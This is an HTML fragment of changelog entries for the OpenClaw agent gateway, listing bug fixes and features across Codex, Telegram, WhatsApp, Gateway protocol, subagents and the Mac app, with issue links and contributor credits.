<li>Agents/CLI: reject empty successful CLI subprocess replies as <code>empty_response</code> and keep them out of shared auth-profile health, so blank Claude CLI results no longer become green no-payload turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464556593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83231" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83231/hovercard" href="https://github.com/openclaw/openclaw/issues/83231">#83231</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466129017" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83421" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83421/hovercard" href="https://github.com/openclaw/openclaw/pull/83421">#83421</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex/Telegram: synthesize native Codex tool progress from final turn snapshots so Telegram <code>/verbose</code> stays visible when command events arrive only at completion.</li>
<li>Codex/Telegram: deliver Codex verbose tool summaries in direct message-tool-only turns while suppressing message-send and activity-log noise. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464160180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83186" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83186/hovercard" href="https://github.com/openclaw/openclaw/pull/83186">#83186</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Mac app: make Channels settings open faster by deferring config-schema work, avoiding startup channel probes, caching decoded channel status rows, and showing only compact quick settings instead of the full generated channel schema.</li>
<li>Control UI: include the Control UI and Gateway protocol versions in protocol-mismatch errors so stale app/dashboard pairings identify which side needs rebuilding or restarting.</li>
<li>Gateway/protocol: restore Gateway WS protocol v4 and keep <code>message.action</code> room-event metadata on the existing <code>inboundTurnKind</code> wire field while preserving internal inbound-event classification.</li>
<li>Agents/tools: prefer non-webchat session-key routes when the message tool has stale webchat context, so message-tool-only replies keep delivering to the originating channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462346514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82911" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82911/hovercard" href="https://github.com/openclaw/openclaw/issues/82911">#82911</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462785655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83004/hovercard" href="https://github.com/openclaw/openclaw/pull/83004">#83004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels: keep direct-message last-route writes on isolated <code>per-channel-peer</code> sessions instead of contaminating the agent main session with channel delivery context. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4030119907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/36614" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/36614/hovercard" href="https://github.com/openclaw/openclaw/issues/36614">#36614</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aspenas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aspenas">@aspenas</a>.</li>
<li>Mac app: move the Settings sidebar toggle into the native titlebar and tighten the General pane width.</li>
<li>Mac app: keep visited Settings panes mounted so switching tabs no longer blanks and reloads their content.</li>
<li>Mac app: make Config settings open from shallow schema lookups and load selected paths on demand instead of fetching and rendering the full generated config schema up front.</li>
<li>Codex: sanitize inline image payloads before Codex app-server and OpenAI Responses replay, and clear poisoned Codex thread bindings after invalid image errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462171502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82878" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82878/hovercard" href="https://github.com/openclaw/openclaw/issues/82878">#82878</a>.</li>
<li>Providers/GitHub Copilot: request identity-encoded Copilot API responses across token exchange, catalog, model calls, usage, and embeddings so compressed Business-account error payloads no longer reach JSON parsers as gzip bytes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462159211" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82871" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82871/hovercard" href="https://github.com/openclaw/openclaw/issues/82871">#82871</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tonyfe01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tonyfe01">@tonyfe01</a>.</li>
<li>Telegram: redact nested raw-update identifiers and user metadata before verbose raw update logging, preserving useful update/message ids without exposing chat, user, command, or profile details. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462443792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82945" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82945/hovercard" href="https://github.com/openclaw/openclaw/pull/82945">#82945</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: preserve replied-to bot messages, captions, and media metadata in group reply chains so follow-up replies understand what the user is reacting to. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462136761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82863/hovercard" href="https://github.com/openclaw/openclaw/pull/82863">#82863</a>)</li>
<li>Providers/Together: update PI runtime packages to 0.74.1 and emit Together-style <code>reasoning.enabled</code>/<code>max_tokens</code> controls for reasoning-capable OpenAI-completions models.</li>
<li>Agents/diagnostics: split slow embedded-run <code>attempt-dispatch</code> startup summaries into workspace, prompt, runtime-plan, and final dispatch subspans so traces identify the delayed setup phase. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461655494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82782/hovercard" href="https://github.com/openclaw/openclaw/issues/82782">#82782</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461658014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82783" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82783/hovercard" href="https://github.com/openclaw/openclaw/pull/82783">#82783</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/Codex: flatten nested tool-result middleware blocks into bounded text so successful message sends are no longer replaced with <code>Tool output unavailable due to post-processing error</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462346626" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82912" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82912/hovercard" href="https://github.com/openclaw/openclaw/issues/82912">#82912</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>.</li>
<li>CLI/media: accept HTTP(S) URLs in <code>openclaw infer image describe --file</code>, fetching remote images through the guarded media path instead of treating URLs as local files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461995435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82837/hovercard" href="https://github.com/openclaw/openclaw/issues/82837">#82837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462089264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82854/hovercard" href="https://github.com/openclaw/openclaw/pull/82854">#82854</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/subagents: keep session-backed parent runs active when the child wait call times out before the child session has actually settled, so late subagent completions are reconciled instead of being lost. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461685397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82787" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82787/hovercard" href="https://github.com/openclaw/openclaw/issues/82787">#82787</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ramitrkar-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ramitrkar-hash">@ramitrkar-hash</a>.</li>
<li>Control UI: advertise shared Gateway protocol constants in browser connect frames, fixing protocol mismatch handshakes after protocol constant drift. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462182289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82882/hovercard" href="https://github.com/openclaw/openclaw/issues/82882">#82882</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Gateway: add rollback protocol-mismatch diagnostics, including client protocol ranges in Gateway logs and deep status/doctor hints for stale client processes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462019039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82841/hovercard" href="https://github.com/openclaw/openclaw/issues/82841">#82841</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462327632" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82908" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82908/hovercard" href="https://github.com/openclaw/openclaw/pull/82908">#82908</a>)</li>
<li>Agents/subagents: keep successful keep-mode completion payloads pending after final-delivery retry exhaustion, so requester recovery no longer loses final subagent results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459924078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82583" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82583/hovercard" href="https://github.com/openclaw/openclaw/issues/82583">#82583</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462746689" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82999" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82999/hovercard" href="https://github.com/openclaw/openclaw/pull/82999">#82999</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Gateway/auth: allow same-host trusted-proxy callers to use the documented local direct <code>gateway.auth.password</code> fallback after revisiting the <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395374595" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78684" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78684/hovercard" href="https://github.com/openclaw/openclaw/issues/78684">#78684</a> fail-closed policy, while keeping token fallback rejected and forwarded-header requests on the trusted-proxy path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460066638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82607/hovercard" href="https://github.com/openclaw/openclaw/issues/82607">#82607</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462463433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82953" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82953/hovercard" href="https://github.com/openclaw/openclaw/pull/82953">#82953</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: wait for queued completion handoffs to reach the parent transcript before marking them announced, preventing busy parent runs from cleaning up before observing child results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462352234" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82913" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82913/hovercard" href="https://github.com/openclaw/openclaw/issues/82913">#82913</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463073835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83039" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83039/hovercard" href="https://github.com/openclaw/openclaw/pull/83039">#83039</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: route group/channel subagent completions through message-tool-only handoffs when required and keep active-requester wake failures from dropping completion delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461749992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82803" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82803/hovercard" href="https://github.com/openclaw/openclaw/issues/82803">#82803</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yozakura-ava/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yozakura-ava">@yozakura-ava</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moeedahmed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moeedahmed">@moeedahmed</a>.</li>
<li>Memory-core: scan persisted memory source sessions on startup, comparing on-disk transcripts against the index and marking only missing/newer/resized files dirty for incremental sync. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457246662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82341/hovercard" href="https://github.com/openclaw/openclaw/pull/82341">#82341</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457246662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82341/hovercard" href="https://github.com/openclaw/openclaw/pull/82341">#82341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Telegram: keep the top-level default account in the account list when named accounts or bindings are added alongside top-level credentials, preserving default polling while still letting named-only configs resolve to a single account. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461704391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82794/hovercard" href="https://github.com/openclaw/openclaw/pull/82794">#82794</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461704391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82794/hovercard" href="https://github.com/openclaw/openclaw/pull/82794">#82794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/models: reuse command-scoped plugin metadata across model listing, provider catalog, auth, and synthetic-auth checks, restoring fast <code>openclaw models</code> runs for plugin-heavy installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462172294" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82881" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82881/hovercard" href="https://github.com/openclaw/openclaw/issues/82881">#82881</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463033606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83033" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83033/hovercard" href="https://github.com/openclaw/openclaw/pull/83033">#83033</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>CLI/channels: show configured official external channels such as Discord in <code>openclaw channels list</code> when their plugin package is missing, including the install and doctor repair command instead of reporting no configured channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461817834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82813" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82813/hovercard" href="https://github.com/openclaw/openclaw/issues/82813">#82813</a>.</li>
<li>Signal: preserve mixed-case group IDs through routing and session persistence so group auto-replies keep delivering after updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461907881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82827/hovercard" href="https://github.com/openclaw/openclaw/issues/82827">#82827</a>.</li>
<li>Agents/tools: keep the <code>message</code> tool available in embedded runs when it is explicitly allowed through <code>tools.alsoAllow</code> or runtime tool allowlists, so channel plugins with custom reply delivery can still use configured message sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461933704" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82833" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82833/hovercard" href="https://github.com/openclaw/openclaw/issues/82833">#82833</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cn1313113/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cn1313113">@cn1313113</a>.</li>
<li>WhatsApp: honor forced document delivery for outbound image, GIF, and video media so <code>forceDocument</code>/<code>asDocument</code> sends preserve original media bytes instead of using compressed media payloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4404054047" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79272/hovercard" href="https://github.com/openclaw/openclaw/pull/79272">#79272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsuzef/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsuzef">@itsuzef</a>.</li>
<li>WhatsApp: name outbound document attachments from their MIME type when no filename is provided, so PDF and CSV sends arrive as <code>file.pdf</code> and <code>file.csv</code> instead of an extensionless <code>file</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcaxtr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcaxtr">@mcaxtr</a>.</li>
<li>Process/diagnostics: report active lane blockers in lane wait warnings so <code>queueAhead=0</code> no longer hides commands waiting behind active work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461701202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82791" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82791/hovercard" href="https://github.com/openclaw/openclaw/issues/82791">#82791</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461702387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82792" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82792/hovercard" href="https://github.com/openclaw/openclaw/pull/82792">#82792</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Process/diagnostics: stop counting the active processing turn as queued backlog in liveness warnings so transient max-only event-loop spikes do not surface as gateway warnings.</li>
<li>Agents/replies: classify provider conversation-state rejections and return a clear message-channel error instead of auto-resetting or falling back to a generic runner failure. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460117536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82616" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82616/hovercard" href="https://github.com/openclaw/openclaw/pull/82616">#82616</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Browser plugin: trust managed Chrome CDP diagnostics when launch HTTP probes race cold-start readiness, avoiding false startup failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462309858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82904" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82904/hovercard" href="https://github.com/openclaw/openclaw/issues/82904">#82904</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462674619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82986/hovercard" href="https://github.com/openclaw/openclaw/pull/82986">#82986</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kmanan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kmanan">@kmanan</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Android: prompt before replacing a changed Gateway TLS thumbprint, showing the old and new SHA-256 fingerprints so users can accept expected certificate rotations instead of hard failing on pin mismatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463285677" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83077" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83077/hovercard" href="https://github.com/openclaw/openclaw/pull/83077">#83077</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliekens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliekens">@sliekens</a>.</li>
<li>CLI/status: render extra gateway-like service diagnostics as warning/info output instead of error output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077671100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46930" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46930/hovercard" href="https://github.com/openclaw/openclaw/issues/46930">#46930</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462392789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82922/hovercard" href="https://github.com/openclaw/openclaw/pull/82922">#82922</a>) thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Agents/failover: classify Moonshot/Kimi exhausted-balance HTTP 429 payloads as billing instead of generic rate limits, preserving billing guidance and fallback behavior. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4060463710" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43447/hovercard" href="https://github.com/openclaw/openclaw/issues/43447">#43447</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463292018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83079/hovercard" href="https://github.com/openclaw/openclaw/pull/83079">#83079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Plugin SDK: bundle <code>openclaw/plugin-sdk/zod</code> into the published package artifact and verify the packed zod subpath stays self-contained, so pnpm global installs can register plugins without a package-local <code>zod</code> symlink. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390279612" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78398" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78398/hovercard" href="https://github.com/openclaw/openclaw/issues/78398">#78398</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392386441" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78515/hovercard" href="https://github.com/openclaw/openclaw/pull/78515">#78515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ggzeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ggzeng">@ggzeng</a>.</li>
<li>Providers/Google: drop compaction-truncated Gemini thought signatures before replay so malformed Base64 no longer aborts the next assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462736082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82995/hovercard" href="https://github.com/openclaw/openclaw/pull/82995">#82995</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wAngByg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wAngByg">@wAngByg</a>.</li>
<li>Gateway/mobile: allow paired iOS and Android clients to refresh same-family OS metadata on authenticated reconnect instead of requiring a new approval. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467055055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83490" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83490/hovercard" href="https://github.com/openclaw/openclaw/pull/83490">#83490</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>WhatsApp: treat <code>upload-file</code> as a supported media send intent by lowering path/URL uploads through the channel's normal send-media transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448275851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81883" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81883/hovercard" href="https://github.com/openclaw/openclaw/pull/81883">#81883</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
